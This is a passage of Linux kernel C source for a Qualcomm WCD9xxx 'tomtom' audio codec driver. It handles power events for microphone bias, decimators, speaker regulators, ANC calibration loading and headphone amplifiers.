cfilt_sel_val = tomtom->resmgr.pdata->micbias.bias3_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_3_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_3_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_3_OFF;
} else if (strnstr(w->name, "MIC BIAS4", sizeof("MIC BIAS4"))) {
micb_ctl_reg = TOMTOM_A_MICB_4_CTL;
micb_int_reg = tomtom->resmgr.reg_addr->micb_4_int_rbias;
cfilt_sel_val = tomtom->resmgr.pdata->micbias.bias4_cfilt_sel;
e_pre_on = WCD9XXX_EVENT_PRE_MICBIAS_4_ON;
e_post_on = WCD9XXX_EVENT_POST_MICBIAS_4_ON;
e_post_off = WCD9XXX_EVENT_POST_MICBIAS_4_OFF;
} else {
pr_err("%s: Error, invalid micbias %s\n", __func__, w->name);
return -EINVAL;
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Let MBHC module know so micbias switch to be off */
wcd9xxx_resmgr_notifier_call(&tomtom->resmgr, e_pre_on);
/* Get cfilt */
wcd9xxx_resmgr_cfilt_get(&tomtom->resmgr, cfilt_sel_val);
if (strnstr(w->name, internal1_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0xE0, 0xE0);
else if (strnstr(w->name, internal2_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x1C, 0x1C);
else if (strnstr(w->name, internal3_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x3, 0x3);
else
/*
* If not internal, make sure to write the
* register to default value
*/
snd_soc_write(codec, micb_int_reg, 0x24);
if (tomtom->mbhc_started && micb_ctl_reg ==
TOMTOM_A_MICB_2_CTL) {
if (++tomtom->micb_2_users == 1) {
if (tomtom->resmgr.pdata->
micbias.bias2_is_headset_only)
wcd9xxx_resmgr_add_cond_update_bits(
&tomtom->resmgr,
WCD9XXX_COND_HPH_MIC,
micb_ctl_reg, w->shift,
false);
else
snd_soc_update_bits(codec, micb_ctl_reg,
1 << w->shift,
1 << w->shift);
}
pr_debug("%s: micb_2_users %d\n", __func__,
tomtom->micb_2_users);
} else if (micb_ctl_reg == TOMTOM_A_MICB_3_CTL) {
if (++tomtom->micb_3_users == 1)
snd_soc_update_bits(codec, micb_ctl_reg,
1 << w->shift,
1 << w->shift);
} else {
snd_soc_update_bits(codec, micb_ctl_reg, 1 << w->shift,
1 << w->shift);
}
break;
case SND_SOC_DAPM_POST_PMU:
usleep_range(5000, 5100);
/* Let MBHC module know so micbias is on */
wcd9xxx_resmgr_notifier_call(&tomtom->resmgr, e_post_on);
break;
case SND_SOC_DAPM_POST_PMD:
if (tomtom->mbhc_started && micb_ctl_reg ==
TOMTOM_A_MICB_2_CTL) {
if (--tomtom->micb_2_users == 0) {
if (tomtom->resmgr.pdata->
micbias.bias2_is_headset_only)
wcd9xxx_resmgr_rm_cond_update_bits(
&tomtom->resmgr,
WCD9XXX_COND_HPH_MIC,
micb_ctl_reg, 7, false);
else
snd_soc_update_bits(codec, micb_ctl_reg,
1 << w->shift, 0);
}
pr_debug("%s: micb_2_users %d\n", __func__,
tomtom->micb_2_users);
WARN(tomtom->micb_2_users < 0,
"Unexpected micbias users %d\n",
tomtom->micb_2_users);
} else if (micb_ctl_reg == TOMTOM_A_MICB_3_CTL) {
if (--tomtom->micb_3_users == 0)
snd_soc_update_bits(codec, micb_ctl_reg,
1 << w->shift, 0);
pr_debug("%s: micb_3_users %d\n", __func__,
tomtom->micb_3_users);
WARN(tomtom->micb_3_users < 0,
"Unexpected micbias-3 users %d\n",
tomtom->micb_3_users);
} else {
snd_soc_update_bits(codec, micb_ctl_reg, 1 << w->shift,
0);
}
/* Let MBHC module know so micbias switch to be off */
wcd9xxx_resmgr_notifier_call(&tomtom->resmgr, e_post_off);
if (strnstr(w->name, internal1_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x80, 0x00);
else if (strnstr(w->name, internal2_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x10, 0x00);
else if (strnstr(w->name, internal3_text, 30))
snd_soc_update_bits(codec, micb_int_reg, 0x2, 0x0);
/* Put cfilt */
wcd9xxx_resmgr_cfilt_put(&tomtom->resmgr, cfilt_sel_val);
break;
}
return 0;
}
/* called under codec_resource_lock acquisition */
static int tomtom_enable_mbhc_micbias(struct snd_soc_codec *codec, bool enable,
enum wcd9xxx_micbias_num micb_num)
{
int rc;
if (micb_num != MBHC_MICBIAS2) {
dev_err(codec->dev, "%s: Unsupported micbias, micb_num=%d\n",
__func__, micb_num);
return -EINVAL;
}
if (enable)
rc = snd_soc_dapm_force_enable_pin(&codec->dapm,
DAPM_MICBIAS2_EXTERNAL_STANDALONE);
else
rc = snd_soc_dapm_disable_pin(&codec->dapm,
DAPM_MICBIAS2_EXTERNAL_STANDALONE);
if (!rc)
snd_soc_dapm_sync(&codec->dapm);
pr_debug("%s: leave ret %d\n", __func__, rc);
return rc;
}
static int tomtom_codec_enable_on_demand_supply(
struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int ret = 0;
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
dev_dbg(codec->dev, "%s: event:%d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (priv->micbias_reg) {
ret = regulator_enable(priv->micbias_reg);
if (ret)
dev_err(codec->dev,
"%s: Failed to enable micbias_reg\n",
__func__);
}
break;
case SND_SOC_DAPM_POST_PMD:
if (priv->micbias_reg) {
ret = regulator_disable(priv->micbias_reg);
if (ret)
dev_err(codec->dev,
"%s: Failed to disable micbias_reg\n",
__func__);
}
break;
default:
break;
}
return ret;
}
static void txfe_clkdiv_update(struct snd_soc_codec *codec)
{
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
if (test_bit(ADC1_TXFE, &priv->status_mask)) {
snd_soc_update_bits(codec, TOMTOM_A_TX_1_2_TXFE_CLKDIV,
0x0F, 0x05);
clear_bit(ADC1_TXFE, &priv->status_mask);
}
if (test_bit(ADC2_TXFE, &priv->status_mask)) {
snd_soc_update_bits(codec, TOMTOM_A_TX_1_2_TXFE_CLKDIV,
0xF0, 0x50);
clear_bit(ADC2_TXFE, &priv->status_mask);
}
if (test_bit(ADC3_TXFE, &priv->status_mask)) {
snd_soc_update_bits(codec, TOMTOM_A_TX_3_4_TXFE_CKDIV,
0x0F, 0x05);
clear_bit(ADC3_TXFE, &priv->status_mask);
}
if (test_bit(ADC4_TXFE, &priv->status_mask)) {
snd_soc_update_bits(codec, TOMTOM_A_TX_3_4_TXFE_CKDIV,
0xF0, 0x50);
clear_bit(ADC4_TXFE, &priv->status_mask);
}
if (test_bit(ADC5_TXFE, &priv->status_mask)) {
snd_soc_update_bits(codec, TOMTOM_A_TX_5_6_TXFE_CKDIV,
0x0F, 0x05);
clear_bit(ADC5_TXFE, &priv->status_mask);
}
if (test_bit(ADC6_TXFE, &priv->status_mask)) {
snd_soc_update_bits(codec, TOMTOM_A_TX_5_6_TXFE_CKDIV,
0xF0, 0x50);
clear_bit(ADC6_TXFE, &priv->status_mask);
}
}
static void tx_hpf_corner_freq_callback(struct work_struct *work)
{
struct delayed_work *hpf_delayed_work;
struct hpf_work *hpf_work;
struct tomtom_priv *tomtom;
struct snd_soc_codec *codec;
u16 tx_mux_ctl_reg;
u8 hpf_cut_of_freq;
hpf_delayed_work = to_delayed_work(work);
hpf_work = container_of(hpf_delayed_work, struct hpf_work, dwork);
tomtom = hpf_work->tomtom;
codec = hpf_work->tomtom->codec;
hpf_cut_of_freq = hpf_work->tx_hpf_cut_of_freq;
tx_mux_ctl_reg = TOMTOM_A_CDC_TX1_MUX_CTL +
(hpf_work->decimator - 1) * 8;
pr_debug("%s(): decimator %u hpf_cut_of_freq 0x%x\n", __func__,
hpf_work->decimator, (unsigned int)hpf_cut_of_freq);
/*
* Restore TXFE ClkDiv registers to default.
* If any of these registers are modified during analog
* front-end enablement, they will be restored back to the
* default
*/
txfe_clkdiv_update(codec);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30, hpf_cut_of_freq << 4);
}
#define TX_MUX_CTL_CUT_OFF_FREQ_MASK 0x30
#define CF_MIN_3DB_4HZ 0x0
#define CF_MIN_3DB_75HZ 0x1
#define CF_MIN_3DB_150HZ 0x2
static int tomtom_codec_enable_dec(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
unsigned int decimator;
char *dec_name = NULL;
char *widget_name = NULL;
char *temp;
int ret = 0;
u16 dec_reset_reg, tx_vol_ctl_reg, tx_mux_ctl_reg;
u8 dec_hpf_cut_of_freq;
int offset;
char *dec;
pr_debug("%s %d\n", __func__, event);
widget_name = kstrndup(w->name, 15, GFP_KERNEL);
if (!widget_name)
return -ENOMEM;
temp = widget_name;
dec_name = strsep(&widget_name, " ");
widget_name = temp;
if (!dec_name) {
pr_err("%s: Invalid decimator = %s\n", __func__, w->name);
ret = -EINVAL;
goto out;
}
dec = strpbrk(dec_name, "123456789");
if (!dec) {
dev_err(codec->dev, "%s: decimator index not found\n",
__func__);
ret = -EINVAL;
goto out;
}
ret = kstrtouint(dec, 10, &decimator);
if (ret < 0) {
pr_err("%s: Invalid decimator = %s\n", __func__, dec_name);
ret = -EINVAL;
goto out;
}
pr_debug("%s(): widget = %s dec_name = %s decimator = %u\n", __func__,
w->name, dec_name, decimator);
if (w->reg == TOMTOM_A_CDC_CLK_TX_CLK_EN_B1_CTL) {
dec_reset_reg = TOMTOM_A_CDC_CLK_TX_RESET_B1_CTL;
offset = 0;
} else if (w->reg == TOMTOM_A_CDC_CLK_TX_CLK_EN_B2_CTL) {
dec_reset_reg = TOMTOM_A_CDC_CLK_TX_RESET_B2_CTL;
offset = 8;
} else {
pr_err("%s: Error, incorrect dec\n", __func__);
return -EINVAL;
}
tx_vol_ctl_reg = TOMTOM_A_CDC_TX1_VOL_CTL_CFG + 8 * (decimator - 1);
tx_mux_ctl_reg = TOMTOM_A_CDC_TX1_MUX_CTL + 8 * (decimator - 1);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Enableable TX digital mute */
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x01);
snd_soc_update_bits(codec, dec_reset_reg, 1 << w->shift,
1 << w->shift);
snd_soc_update_bits(codec, dec_reset_reg, 1 << w->shift, 0x0);
pr_debug("%s: decimator = %u, bypass = %d\n", __func__,
decimator, tx_hpf_work[decimator - 1].tx_hpf_bypass);
if (tx_hpf_work[decimator - 1].tx_hpf_bypass != true) {
dec_hpf_cut_of_freq = snd_soc_read(codec,
tx_mux_ctl_reg);
dec_hpf_cut_of_freq = (dec_hpf_cut_of_freq & 0x30) >> 4;
tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq =
dec_hpf_cut_of_freq;
if ((dec_hpf_cut_of_freq != CF_MIN_3DB_150HZ)) {
/* set cut of freq to CF_MIN_3DB_150HZ (0x1); */
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30,
CF_MIN_3DB_150HZ << 4);
}
/* enable HPF */
snd_soc_update_bits(codec, tx_mux_ctl_reg , 0x08, 0x00);
} else
/* bypass HPF */
snd_soc_update_bits(codec, tx_mux_ctl_reg , 0x08, 0x08);
break;
case SND_SOC_DAPM_POST_PMU:
/* Disable TX digital mute */
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x00);
if ((tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq !=
CF_MIN_3DB_150HZ) &&
(tx_hpf_work[decimator - 1].tx_hpf_bypass != true)) {
schedule_delayed_work(&tx_hpf_work[decimator - 1].dwork,
msecs_to_jiffies(300));
}
/* apply the digital gain after the decimator is enabled*/
if ((w->shift + offset) < ARRAY_SIZE(tx_digital_gain_reg))
snd_soc_write(codec,
tx_digital_gain_reg[w->shift + offset],
snd_soc_read(codec,
tx_digital_gain_reg[w->shift + offset])
);
break;
case SND_SOC_DAPM_PRE_PMD:
snd_soc_update_bits(codec, tx_vol_ctl_reg, 0x01, 0x01);
cancel_delayed_work_sync(&tx_hpf_work[decimator - 1].dwork);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x08, 0x08);
snd_soc_update_bits(codec, tx_mux_ctl_reg, 0x30,
(tx_hpf_work[decimator - 1].tx_hpf_cut_of_freq) << 4);
break;
}
out:
kfree(widget_name);
return ret;
}
static int tomtom_codec_enable_vdd_spkr(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int ret = 0;
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
pr_debug("%s: %d %s\n", __func__, event, w->name);
WARN_ONCE(!priv->spkdrv_reg, "SPKDRV supply %s isn't defined\n",
WCD9XXX_VDD_SPKDRV_NAME);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (priv->spkdrv_reg) {
ret = regulator_enable(priv->spkdrv_reg);
if (ret)
pr_err("%s: Failed to enable spkdrv_reg %s\n",
__func__, WCD9XXX_VDD_SPKDRV_NAME);
}
break;
case SND_SOC_DAPM_POST_PMD:
if (priv->spkdrv_reg) {
ret = regulator_disable(priv->spkdrv_reg);
if (ret)
pr_err("%s: Failed to disable spkdrv_reg %s\n",
__func__, WCD9XXX_VDD_SPKDRV_NAME);
}
break;
}
return ret;
}
static int tomtom_codec_enable_vdd_spkr2(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int ret = 0;
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
pr_debug("%s: %d %s\n", __func__, event, w->name);
/*
* If on-demand voltage regulators of spkr1 and spkr2 has been derived
* from same power rail then same on-demand voltage regulator can be
* used by both spkr1 and spkr2, if a separate device tree entry has
* not been defined for on-demand voltage regulator for spkr2.
*/
if (!priv->spkdrv2_reg) {
if (priv->spkdrv_reg) {
priv->spkdrv2_reg = priv->spkdrv_reg;
} else {
WARN_ONCE(!priv->spkdrv2_reg,
"SPKDRV2 supply %s isn't defined\n",
WCD9XXX_VDD_SPKDRV2_NAME);
return 0;
}
}
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (priv->spkdrv2_reg) {
ret = regulator_enable(priv->spkdrv2_reg);
if (ret)
pr_err("%s: Failed to enable spkdrv2_reg %s ret:%d\n",
__func__, WCD9XXX_VDD_SPKDRV2_NAME, ret);
}
break;
case SND_SOC_DAPM_POST_PMD:
if (priv->spkdrv2_reg) {
ret = regulator_disable(priv->spkdrv2_reg);
if (ret)
pr_err("%s: Failed to disable spkdrv2_reg %s ret:%d\n",
__func__, WCD9XXX_VDD_SPKDRV2_NAME, ret);
}
break;
}
return ret;
}
static int tomtom_codec_enable_interpolator(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
pr_debug("%s %d %s\n", __func__, event, w->name);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_RX_RESET_CTL,
1 << w->shift, 1 << w->shift);
snd_soc_update_bits(codec, TOMTOM_A_CDC_CLK_RX_RESET_CTL,
1 << w->shift, 0x0);
break;
case SND_SOC_DAPM_POST_PMU:
/* apply the digital gain after the interpolator is enabled*/
if ((w->shift) < ARRAY_SIZE(rx_digital_gain_reg))
snd_soc_write(codec,
rx_digital_gain_reg[w->shift],
snd_soc_read(codec,
rx_digital_gain_reg[w->shift])
);
/* Check for Rx1 and Rx2 paths for uhqa mode update */
if (w->shift == 0 || w->shift == 1)
tomtom_update_uhqa_mode(codec, (1 << w->shift));
break;
}
return 0;
}
/* called under codec_resource_lock acquisition */
static int __tomtom_codec_enable_ldo_h(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *priv = snd_soc_codec_get_drvdata(codec);
pr_debug("%s: enter\n", __func__);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/*
* ldo_h_users is protected by codec->mutex, don't need
* additional mutex
*/
if (++priv->ldo_h_users == 1) {
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_get_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
tomtom_codec_internal_rco_ctrl(codec, true);
snd_soc_update_bits(codec, TOMTOM_A_LDO_H_MODE_1,
1 << 7, 1 << 7);
tomtom_codec_internal_rco_ctrl(codec, false);
pr_debug("%s: ldo_h_users %d\n", __func__,
priv->ldo_h_users);
/* LDO enable requires 1ms to settle down */
usleep_range(1000, 1100);
}
break;
case SND_SOC_DAPM_POST_PMD:
if (--priv->ldo_h_users == 0) {
tomtom_codec_internal_rco_ctrl(codec, true);
snd_soc_update_bits(codec, TOMTOM_A_LDO_H_MODE_1,
1 << 7, 0);
tomtom_codec_internal_rco_ctrl(codec, false);
WCD9XXX_BG_CLK_LOCK(&priv->resmgr);
wcd9xxx_resmgr_put_bandgap(&priv->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&priv->resmgr);
pr_debug("%s: ldo_h_users %d\n", __func__,
priv->ldo_h_users);
}
WARN(priv->ldo_h_users < 0, "Unexpected ldo_h users %d\n",
priv->ldo_h_users);
break;
}
pr_debug("%s: leave\n", __func__);
return 0;
}
static int tomtom_codec_enable_ldo_h(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
int rc;
rc = __tomtom_codec_enable_ldo_h(w, kcontrol, event);
return rc;
}
static int tomtom_codec_enable_rx_bias(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
pr_debug("%s %d\n", __func__, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
wcd9xxx_resmgr_enable_rx_bias(&tomtom->resmgr, 1);
break;
case SND_SOC_DAPM_POST_PMD:
wcd9xxx_resmgr_enable_rx_bias(&tomtom->resmgr, 0);
break;
}
return 0;
}
static int tomtom_codec_enable_anc(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
const char *filename;
const struct firmware *fw;
int i;
int ret = 0;
int num_anc_slots;
struct wcd9xxx_anc_header *anc_head;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
struct firmware_cal *hwdep_cal = NULL;
u32 anc_writes_size = 0;
u32 anc_cal_size = 0;
int anc_size_remaining;
u32 *anc_ptr;
u16 reg;
u8 mask, val, old_val;
size_t cal_size;
const void *data;
if (tomtom->anc_func == 0)
return 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
filename = "wcd9320/wcd9320_anc.bin";
hwdep_cal = wcdcal_get_fw_cal(tomtom->fw_data, WCD9XXX_ANC_CAL);
if (hwdep_cal) {
data = hwdep_cal->data;
cal_size = hwdep_cal->size;
dev_dbg(codec->dev, "%s: using hwdep calibration\n",
__func__);
} else {
ret = request_firmware(&fw, filename, codec->dev);
if (ret != 0) {
dev_err(codec->dev, "Failed to acquire ANC data: %d\n",
ret);
return -ENODEV;
}
if (!fw) {
dev_err(codec->dev, "failed to get anc fw");
return -ENODEV;
}
data = fw->data;
cal_size = fw->size;
dev_dbg(codec->dev, "%s: using request_firmware calibration\n",
__func__);
}
if (cal_size < sizeof(struct wcd9xxx_anc_header)) {
dev_err(codec->dev, "Not enough data\n");
ret = -ENOMEM;
goto err;
}
/* First number is the number of register writes */
anc_head = (struct wcd9xxx_anc_header *)(data);
anc_ptr = (u32 *)(data +
sizeof(struct wcd9xxx_anc_header));
anc_size_remaining = cal_size -
sizeof(struct wcd9xxx_anc_header);
num_anc_slots = anc_head->num_anc_slots;
if (tomtom->anc_slot >= num_anc_slots) {
dev_err(codec->dev, "Invalid ANC slot selected\n");
ret = -EINVAL;
goto err;
}
for (i = 0; i < num_anc_slots; i++) {
if (anc_size_remaining < TOMTOM_PACKED_REG_SIZE) {
dev_err(codec->dev, "Invalid register format\n");
ret = -EINVAL;
goto err;
}
anc_writes_size = (u32)(*anc_ptr);
anc_size_remaining -= sizeof(u32);
anc_ptr += 1;
if (anc_writes_size * TOMTOM_PACKED_REG_SIZE
> anc_size_remaining) {
dev_err(codec->dev, "Invalid register format\n");
ret = -EINVAL;
goto err;
}
if (tomtom->anc_slot == i)
break;
anc_size_remaining -= (anc_writes_size *
TOMTOM_PACKED_REG_SIZE);
anc_ptr += anc_writes_size;
}
if (i == num_anc_slots) {
dev_err(codec->dev, "Selected ANC slot not present\n");
ret = -EINVAL;
goto err;
}
i = 0;
anc_cal_size = anc_writes_size;
if (w->reg == TOMTOM_A_RX_HPH_L_DAC_CTL) {
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_ANC_RESET_CTL, 0x03, 0x03);
anc_writes_size = (anc_cal_size/2);
}
if (w->reg == TOMTOM_A_RX_HPH_R_DAC_CTL) {
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_ANC_RESET_CTL, 0x0C, 0x0C);
i = (anc_cal_size/2);
anc_writes_size = anc_cal_size;
}
for (; i < anc_writes_size; i++) {
TOMTOM_CODEC_UNPACK_ENTRY(anc_ptr[i], reg,
mask, val);
/*
* ANC Soft reset register is ignored from ACDB
* because ANC left soft reset bits will be called
* while enabling ANC HPH Right DAC.
*/
if ((reg == TOMTOM_A_CDC_CLK_ANC_RESET_CTL) &&
((w->reg == TOMTOM_A_RX_HPH_L_DAC_CTL) ||
(w->reg == TOMTOM_A_RX_HPH_R_DAC_CTL))) {
continue;
}
old_val = snd_soc_read(codec, reg);
snd_soc_write(codec, reg, (old_val & ~mask) |
(val & mask));
}
if (w->reg == TOMTOM_A_RX_HPH_L_DAC_CTL)
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_ANC_RESET_CTL, 0x03, 0x00);
if (w->reg == TOMTOM_A_RX_HPH_R_DAC_CTL)
snd_soc_update_bits(codec,
TOMTOM_A_CDC_CLK_ANC_RESET_CTL, 0x0C, 0x00);
if (!hwdep_cal)
release_firmware(fw);
txfe_clkdiv_update(codec);
break;
case SND_SOC_DAPM_PRE_PMD:
msleep(40);
snd_soc_update_bits(codec, TOMTOM_A_CDC_ANC1_B1_CTL, 0x01,
0x00);
snd_soc_update_bits(codec, TOMTOM_A_CDC_ANC2_B1_CTL, 0x02,
0x00);
msleep(20);
snd_soc_write(codec, TOMTOM_A_CDC_CLK_ANC_RESET_CTL, 0x0F);
snd_soc_write(codec, TOMTOM_A_CDC_CLK_ANC_CLK_EN_CTL, 0);
snd_soc_write(codec, TOMTOM_A_CDC_CLK_ANC_RESET_CTL, 0x00);
break;
}
return 0;
err:
if (!hwdep_cal)
release_firmware(fw);
return ret;
}
static int tomtom_hphl_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
uint32_t impedl, impedr;
int ret = 0;
pr_debug("%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (tomtom_p->anc_func) {
tomtom_codec_enable_anc(w, kcontrol, event);
msleep(50);
}
if (!high_perf_mode && !tomtom_p->uhqa_mode) {
wcd9xxx_clsh_fsm(codec, &tomtom_p->clsh_d,
WCD9XXX_CLSH_STATE_HPHL,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
} else {
wcd9xxx_enable_high_perf_mode(codec, &tomtom_p->clsh_d,
tomtom_p->uhqa_mode,
WCD9XXX_CLSAB_STATE_HPHL,
WCD9XXX_CLSAB_REQ_ENABLE);
}
ret = wcd9xxx_mbhc_get_impedance(&tomtom_p->mbhc,
&impedl, &impedr);
if (!ret)
wcd9xxx_clsh_imped_config(codec, impedl);
else
dev_dbg(codec->dev, "%s: Failed to get mbhc impedance %d\n",
__func__, ret);
break;
case SND_SOC_DAPM_POST_PMU:
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX1_B3_CTL, 0xBC, 0x94);
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX1_B4_CTL, 0x30, 0x10);
break;
case SND_SOC_DAPM_PRE_PMD:
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX1_B3_CTL, 0xBC, 0x00);
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX1_B4_CTL, 0x30, 0x00);
break;
case SND_SOC_DAPM_POST_PMD:
if (!high_perf_mode && !tomtom_p->uhqa_mode) {
wcd9xxx_clsh_fsm(codec, &tomtom_p->clsh_d,
WCD9XXX_CLSH_STATE_HPHL,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
} else {
wcd9xxx_enable_high_perf_mode(codec, &tomtom_p->clsh_d,
tomtom_p->uhqa_mode,
WCD9XXX_CLSAB_STATE_HPHL,
WCD9XXX_CLSAB_REQ_DISABLE);
}
break;
}
return 0;
}
static int tomtom_hphr_dac_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom_p = snd_soc_codec_get_drvdata(codec);
pr_debug("%s %s %d\n", __func__, w->name, event);
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
if (tomtom_p->anc_func) {
tomtom_codec_enable_anc(w, kcontrol, event);
msleep(50);
}
snd_soc_update_bits(codec, w->reg, 0x40, 0x40);
if (!high_perf_mode && !tomtom_p->uhqa_mode) {
wcd9xxx_clsh_fsm(codec, &tomtom_p->clsh_d,
WCD9XXX_CLSH_STATE_HPHR,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_PRE_DAC);
} else {
wcd9xxx_enable_high_perf_mode(codec, &tomtom_p->clsh_d,
tomtom_p->uhqa_mode,
WCD9XXX_CLSAB_STATE_HPHR,
WCD9XXX_CLSAB_REQ_ENABLE);
}
break;
case SND_SOC_DAPM_POST_PMU:
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX2_B3_CTL, 0xBC, 0x94);
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX2_B4_CTL, 0x30, 0x10);
break;
case SND_SOC_DAPM_PRE_PMD:
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX2_B3_CTL, 0xBC, 0x00);
snd_soc_update_bits(codec, TOMTOM_A_CDC_RX2_B4_CTL, 0x30, 0x00);
break;
case SND_SOC_DAPM_POST_PMD:
snd_soc_update_bits(codec, w->reg, 0x40, 0x00);
if (!high_perf_mode && !tomtom_p->uhqa_mode) {
wcd9xxx_clsh_fsm(codec, &tomtom_p->clsh_d,
WCD9XXX_CLSH_STATE_HPHR,
WCD9XXX_CLSH_REQ_DISABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
} else {
wcd9xxx_enable_high_perf_mode(codec, &tomtom_p->clsh_d,
tomtom_p->uhqa_mode,
WCD9XXX_CLSAB_STATE_HPHR,
WCD9XXX_CLSAB_REQ_DISABLE);
}
break;
}
return 0;
}
static int tomtom_hph_pa_event(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
struct tomtom_priv *tomtom = snd_soc_codec_get_drvdata(codec);
enum wcd9xxx_notify_event e_pre_on, e_post_off;
u8 req_clsh_state;
u32 pa_settle_time = TOMTOM_HPH_PA_SETTLE_COMP_OFF;
pr_debug("%s: %s event = %d\n", __func__, w->name, event);
if (w->shift == 5) {
e_pre_on = WCD9XXX_EVENT_PRE_HPHL_PA_ON;
e_post_off = WCD9XXX_EVENT_POST_HPHL_PA_OFF;
req_clsh_state = WCD9XXX_CLSH_STATE_HPHL;
} else if (w->shift == 4) {
e_pre_on = WCD9XXX_EVENT_PRE_HPHR_PA_ON;
e_post_off = WCD9XXX_EVENT_POST_HPHR_PA_OFF;
req_clsh_state = WCD9XXX_CLSH_STATE_HPHR;
} else {
pr_err("%s: Invalid w->shift %d\n", __func__, w->shift);
return -EINVAL;
}
if (tomtom->comp_enabled[COMPANDER_1])
pa_settle_time = TOMTOM_HPH_PA_SETTLE_COMP_ON;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
/* Let MBHC module know PA is turning on */
wcd9xxx_resmgr_notifier_call(&tomtom->resmgr, e_pre_on);
break;
case SND_SOC_DAPM_POST_PMU:
usleep_range(pa_settle_time, pa_settle_time + 1000);
pr_debug("%s: sleep %d us after %s PA enable\n", __func__,
pa_settle_time, w->name);
if (!high_perf_mode && !tomtom->uhqa_mode) {
wcd9xxx_clsh_fsm(codec, &tomtom->clsh_d,
req_clsh_state,
WCD9XXX_CLSH_REQ_ENABLE,
WCD9XXX_CLSH_EVENT_POST_PA);
}
break;
case SND_SOC_DAPM_POST_PMD:
/* Let MBHC module know PA turned off */
wcd9xxx_resmgr_notifier_call(&tomtom->resmgr, e_post_off);
usleep_range(pa_settle_time, pa_settle_time + 1000);
pr_debug("%s: sleep %d us after %s PA disable\n", __func__,
pa_settle_time, w->name);
break;
}
return 0;
}
static int tomtom_codec_enable_anc_hph(struct snd_soc_dapm_widget *w,
struct snd_kcontrol *kcontrol, int event)
{
struct snd_soc_codec *codec = w->codec;
int ret = 0;
switch (event) {
case SND_SOC_DAPM_PRE_PMU:
ret = tomtom_hph_pa_event(w, kcontrol, event);
break;
